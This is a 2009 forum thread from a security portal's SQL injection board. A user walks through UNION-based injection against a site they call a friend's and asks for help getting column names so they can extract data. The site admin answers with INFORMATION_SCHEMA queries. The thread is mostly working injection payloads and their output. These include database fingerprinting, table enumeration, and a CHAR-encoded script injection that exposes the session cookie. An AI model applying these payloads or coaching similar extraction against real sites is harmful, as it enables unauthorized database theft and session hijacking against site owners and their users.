Waraxe IT Security Portal
Login or Register
November 17, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 67
Members: 0
Total: 67
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Hm I do not see where is the problem...
Post new topicReply to topic View previous topic :: View next topic
Hm I do not see where is the problem...
PostPosted: Thu Sep 03, 2009 10:57 pm Reply with quote
BoboTiG
Advanced user
Advanced user
Joined: Jun 22, 2009
Posts: 66




Hi all!

I was trying to test a friend's web application and I am blocked, do not know what to do...

So, what I retrieve:
Code:

http://site.test/v2/post.php?poid=9+order+by+4--
-> error
-> 3 cols

http://site.test/v2/post.php?poid=9+union+all+select+1,2,3--
-> 2 is printed
-> UNION allowed

http://site.test/v2/post.php?poid=9+union+all+select+1,user(),3--
http://site.test/v2/post.php?poid=9+union+all+select+1,system_user(),3--
-> sitetest@1xx.2x.2xx.x2

http://site.test/v2/post.php?poid=9+union+all+select+1,@@version,3--
-> MySQL 5.0.83-log

http://site.test/v2/post.php?poid=9+union+all+select+1,@@max_allowed_packet,3--
-> 10485760

http://site.test/v2/post.php?poid=9+union+all+select+1,@@datadir,3--
-> /var/www/free.fr/

http://site.test/v2/post.php?poid=9+union+all+select+1,database(),3--
-> sitetest

http://site.test/v2/post.php?poid=9+union+all+select+1,2,3+from+personne--
-> 2 is printed
-> table 'personne' exists

Resume :
Existants tables (after brute force) :
agenda
categorie
equipe
fichier
messages
news
partenaire
personne
rencontre
salon

http://site.test/v2/post.php?poid=8+union+select+1,CHAR(60,115,99,114,105,112,116,32,116,121,112,101,61,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,62,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62),3--
-> PHPSESSID=45cdb505dc81287402e73e4e383bb5ff


Then, I tried to get columns names of 'personne' table.
I played with information_schema unsuccessful.

I look on several helpful sites, but each manipulation was wrong, how can I get columns names (after, I think, I will be able to extract data)?

Thank you in advance Wink
View user's profile Send private message Visit poster's website
PostPosted: Fri Sep 04, 2009 10:15 am Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Mysql version is 5.x, so INFORMATION_SCHEMA should be available.
Try this:
Code:

http://site.test/v2/post.php?poid=9+UNION+ALL+SELECT+1,COUNT(*),3+FROM+INFORMATION_SCHEMA.TABLES--+


Do you see tables count or sql error?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Fri Sep 04, 2009 11:06 am Reply with quote
BoboTiG
Advanced user
Advanced user
Joined: Jun 22, 2009
Posts: 66




Oh yes, I did this and forgot to tell you:
I can retrieve 17 tables, I have names and columns of all tables.

Code:

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS


But I do not see others tables I found nor their columns, just the number:
Code:
http://site.test/v2/post.php?poid=8+union+all+select+1,count(*),3+from+sitetest.personne--

Code:

Table (columns):
agenda (6)
categorie (3)
equipe (20)
fichier (1206)
messages (3)
news (641)
partenaire (20)
personne (5)
rencontre (35)
salon (9)


Normal?
View user's profile Send private message Visit poster's website
PostPosted: Fri Sep 04, 2009 5:14 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




OK, how about something like this:
Code:

SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='personne'--+
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Sep 05, 2009 1:33 pm Reply with quote
BoboTiG
Advanced user
Advanced user
Joined: Jun 22, 2009
Posts: 66




Nothing, I tried:
Code:
personne
char(112,101,114,115,111,110,110,101)
0x706572736f6e6e65


I tried that too:
Code:
http://site.test/v2/post.php?poid=8+union+select+1,count(*),3+from+information_schema.columns+where+table_schema=database()--

And it returns 0.
View user's profile Send private message Visit poster's website
Hm I do not see where is the problem...
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.039 Seconds